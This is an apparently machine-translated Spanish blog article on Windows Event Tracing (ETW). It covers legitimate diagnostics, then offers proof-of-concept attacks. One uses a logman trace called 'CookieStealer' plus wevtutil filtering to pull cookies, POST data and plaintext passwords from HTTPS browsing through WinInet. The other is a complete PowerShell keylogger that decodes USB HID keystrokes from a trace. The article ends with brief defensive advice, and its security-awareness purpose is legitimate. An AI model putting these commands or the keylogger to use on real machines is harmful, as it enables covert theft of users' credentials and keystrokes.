El seguimiento de eventos para Windows está en el lado malo. Pero eso no es seguro


En artículos anteriores sobre el sniffer de PowerShell y la recopilación de datos de arranque desde un servidor remoto, ya escribí un poco sobre las capacidades de ETW (Event Tracing for Windows). Hoy quiero hablar más sobre esta tecnología.


Al mismo tiempo, demostraré el uso de HTTPS y la creación de un keylogger en PowerShell como un ejemplo de cómo se puede usar para siempre. O no realmente para bien.


Trabajar con ETW


El seguimiento de eventos para Windows recopila y envía mensajes desde los componentes del sistema de Windows y aplicaciones de terceros. Apareció en los días de Windows 2000, pero si en esos días había varias docenas de proveedores de sistemas, ahora su puntaje ya está en los cientos. Los mensajes se utilizan convenientemente para diagnosticar errores y resolver problemas de rendimiento del software.


Algunos proveedores de sistemas ya escriben en el registro de eventos de Windows de manera predeterminada, y algunos se incluyen por separado. Entonces, incluso si no sabe sobre ETW, probablemente lo use. Puede familiarizarse con los registros y habilitar algunos de ellos si es necesario en el visor de eventos estándar en los registros de aplicaciones y servicios. Se puede encontrar un poco sobre la revista y sobre cómo trabajar con ella en el artículo " Rotamos los registros como queramos: análisis de registros en sistemas Windows ".


Puede ver la lista de proveedores existentes que solo están felices de decirnos qué les está sucediendo con el comando logman query provider .



Proveedores de ETW.


Puede usar el comando logman query provider -pid <process PID> para ver la lista de proveedores que están conectados a un proceso específico de Windows (y, por lo tanto, aprender algo al respecto) .



Lista de proveedores conectados a una computadora portátil normal.


Puede habilitar la suscripción a eventos de un proveedor específico o rastrear a través de PowerShell con el cmdlet New-NetEventSession . E incluso puede hacer clic con el mouse en la ruta "Administración de computadoras" - "Rendimiento" - "Grupo de recolectores de datos". Aquí, en las sesiones de seguimiento de eventos, puede ver qué rastreos se están ejecutando, y puede crear su propio recopilador si lo desea.



Ejecutando rastros.


Puede ver el resultado utilizando utilidades y conjuntos de utilidades como Microsoft Message Analyzer , Windows Performance Toolkit o incluso el cmdlet PowerShell Get-WinEvent .


Le recomiendo que lea las características de ETW en la documentación de Microsoft, puede comenzar con la sección Acerca del seguimiento de eventos . También puedo recomendar un buen material " Estudiamos ETW y extraemos ganancias ".


Dado que ETW opera a nivel del núcleo, se distingue por la velocidad de transferencia de mensajes y la ausencia de la necesidad de instalar controladores o inyecciones en las aplicaciones. Por lo general, los ETW se usan para diagnosticar problemas de rendimiento y aplicación. Por ejemplo, el artículo " Acelerar el arranque de Windows por diversión y ganancias " analiza los factores que influyen en la desaceleración de la carga, y en el artículo CPU de 24 núcleos y no puedo mover el mouse , las razones para ralentizar Windows en las operaciones ordinarias. Permítame darle un ejemplo: el análisis de la ejecución de cmdlets de PowerShell.


Viendo PowerShell


Suponga que de alguna manera (por ejemplo, a través de una auditoría de inicio de procesos), encuentra que los procesos borrosos y los scripts de PowerShell se ejecutan en su computadora. Una técnica será usar ETW para analizar su actividad. Por ejemplo, mire el proveedor de PowerShell. Active el rastreo con el comando:


logman start pstrace -p Microsoft-Windows-PowerShell -oc:\temp\pstrace.etl -ets 

Ahora esperemos hasta que funcionen las secuencias de comandos incomprensibles, detenga la traza con el comando:


 logman stop pstrace -ets 

Ahora puede ver el seguimiento, por ejemplo, a través de Microsoft Message Analyzer.



El clean.ps1 sospechoso obviamente busca y elimina algo.


Si selecciona la línea deseada, en el panel inferior habrá información extendida sobre el evento.



¡Ah, este es el mismo script para borrar el caché de 1C!


Esta vez todo resultó ser trivial. Pero en casos más complejos, puede ejecutar un seguimiento para verificar otras actividades:


  • actividad de red;
  • Resolución DNS
  • acceso a disco;
  • trabajar con memoria;
  • Actividad de WMI
  • y mucho mas

De esta manera, ETW puede ayudar a atrapar malware y comprender cómo funcionan las aplicaciones. En algunos lugares, esto es más informativo que el Monitor de proceso habitual. Pero además de las buenas acciones, el mecanismo tiene un lado "oscuro".


Por supuesto, puedes matar con un martillo y ahorrar con una pistola. Por supuesto, no haré una evaluación moral de los mecanismos, pero en cualquier caso, se abren oportunidades interesantes.

Daré un par de ejemplos como prueba de concepto


S significa seguro


En este ejemplo, mostraré lo fácil que es descubrir lo que un usuario está buscando en Internet, incluso a través de HTTPS. Puede verlo sin PowerShell: solo un mouse, solo hardcore. En nuestra tarea habrá un usuario, habrá Windows, Internet Explorer y un registro de eventos.


Comencemos activando el registro de eventos de Wininet. Esto se hace de la siguiente manera: abra el registro de eventos, en la pestaña "Ver", habilite la visualización de registros analíticos y de depuración.



Agregue la visualización de los registros deseados.


Después de eso, habilite UsageLog en el menú contextual, y esto es suficiente para obtener la información necesaria. Usemos IE y veamos el registro:



Revista WinInet.


En realidad, en los encabezados de la revista y una solicitud directa al motor de búsqueda son visibles.


Además de los encabezados, también puede usar el libro de registro para extraer las cookies y, al mismo tiempo, ver las solicitudes POST, por ejemplo, para extraer las credenciales. La técnica funciona en cualquier aplicación que use wininet.dll para trabajar con Internet. Por ejemplo, el navegador Edge.


Lo mismo se implementa fácilmente en PowerShell, e incluso en cmd. Daré un ejemplo de implementación al final.


Primero, cree un rastro:


 logman start CookieStealer -p Microsoft-Windows-WinInet -oc:\temp\cookiesteal.etl -ets 

Ahora trabajemos en el navegador, revise el correo. El seguimiento se puede detener con el comando:


 logman stop CookieStealer -ets 

El análisis más simple se puede hacer con la utilidad de comando wevtutil.exe . Por ejemplo, para ver las solicitudes POST, el comando sería:


 wevtutil qe c:\temp\cookiesteal.etl /lf:true /f:Text | find /i "POST" 

Incluso puede intentar buscar aleatoriamente la palabra contraseña y obtener el resultado.



Contraseñas en texto plano. Muy molesto


Vale la pena señalar que el antivirus estaba en silencio al mismo tiempo. De hecho, este es un proceso de rastreo normal.


Por supuesto, los eventos de WinInet también se pueden usar para diagnosticar problemas como "por qué este sitio no se abre y qué sucede en absoluto". Sin embargo, las posibilidades son bastante interesantes. Me vuelvo a un ejemplo aún más retorcido.


Keylogger en PowerShell. Porque puedo


Hay dos proveedores de ETW interesantes en Windows:


  • Microsoft-Windows-USB-UCX (36DA592D-E43A-4E28-AF6F-4BC57C5A11E8): funciona con USB 2.0.


  • Microsoft-Windows-USB-USBPORT (C88A4EF5-D048-4013-9408-E04B7DB2814A): funciona con USB 3.0.



Con su ayuda, puede obtener los datos HID que transfiere un dispositivo USB, como un teclado o un mouse. Los datos se capturan sin procesar, pero gracias a la especificación HID , se pueden leer fácilmente.


Para comenzar a rastrear, simplemente ejecute los siguientes comandos:


 logman start "usbtrace" -p "microsoft-windows-usb-usbport" -o "c:\temp\usbtrace.etl" -ets 

Y los datos se pueden obtener con el cmdlet de PowerShell:


 $Input=get-winevent –path "c:\temp\usbtrace.etl" –oldest | where {$_.message –match "Data"} 

Daré un ejemplo de un script simple que lee datos de rastreo y los convierte en valores legibles. La conversión se realiza solo para letras en inglés y exclusivamente en mayúsculas.


Listado completo de la secuencia de comandos bajo el spoiler.
 $source = "C:\temp\trace.etl" $destination= "C:\temp\Output.txt" $tracetime = "10" logman start usbtrace -p microsoft-windows-usb-usbport -o $source -ets sleep $TraceTime logman stop usbtrace -ets $Input=get-winevent –path $Source –oldest | where {$_.message –match "Data"} $HID = Foreach ($I in $Input) {('{0:x}' -f ($I.properties.value[5]))} $Data=switch ($HID) { 4 {"A"} 5 {"B"} 6 {"C"} 7 {"D"} 8 {"E"} 9 {"F"} A {"G"} B {"H"} C {"I"} D {"J"} E {"K"} F {"L"} 10 {"M"} 11 {"N"} 12 {"O"} 13 {"P"} 14 {"Q"} 15 {"R"} 16 {"S"} 17 {"T"} 18 {"U"} 19 {"V"} 1A {"W"} 1B {"X"} 1C {"Y"} 1D {"Z"} } $Data | out-file "$Destination" get-content "$Destination" del "$source" del "$Destination" 

Cuando se inicia, el script activa el rastreo durante 10 segundos y luego muestra el resultado.



El resultado del guión.


Por supuesto, después de comprender los datos HID, puede refinar el script a un keylogger completo que registraría datos del teclado y el mouse. Vale la pena señalar las limitaciones de este mecanismo:


  • solo funciona con USB, y PS \ 2 (como a veces se encuentra en las computadoras portátiles) no es compatible;
  • La compatibilidad con USB 3.0 se anuncia solo en Windows 8 y superior;
  • Se requieren derechos de administrador (UAC).

Pero no hay conductores e interceptores. Bueno, por supuesto, además del uso malicioso, tal keylogger puede ayudar a diagnosticar problemas con el teclado. Teóricamente


¿Tengo que tener miedo?


Incluso los mecanismos incorporados en manos del villano pueden causar problemas. Los métodos de protección siguen siendo los mismos: bloquea los archivos ejecutables que no pertenecen a los directorios del sistema, no funcionan como usuarios con privilegios de administrador y, si funcionan, al menos no deshabiliten UAC. Y, por supuesto, los navegadores de Windows integrados en términos de seguridad plantean preguntas.

Source: https://habr.com/ru/post/es418787/


All Articles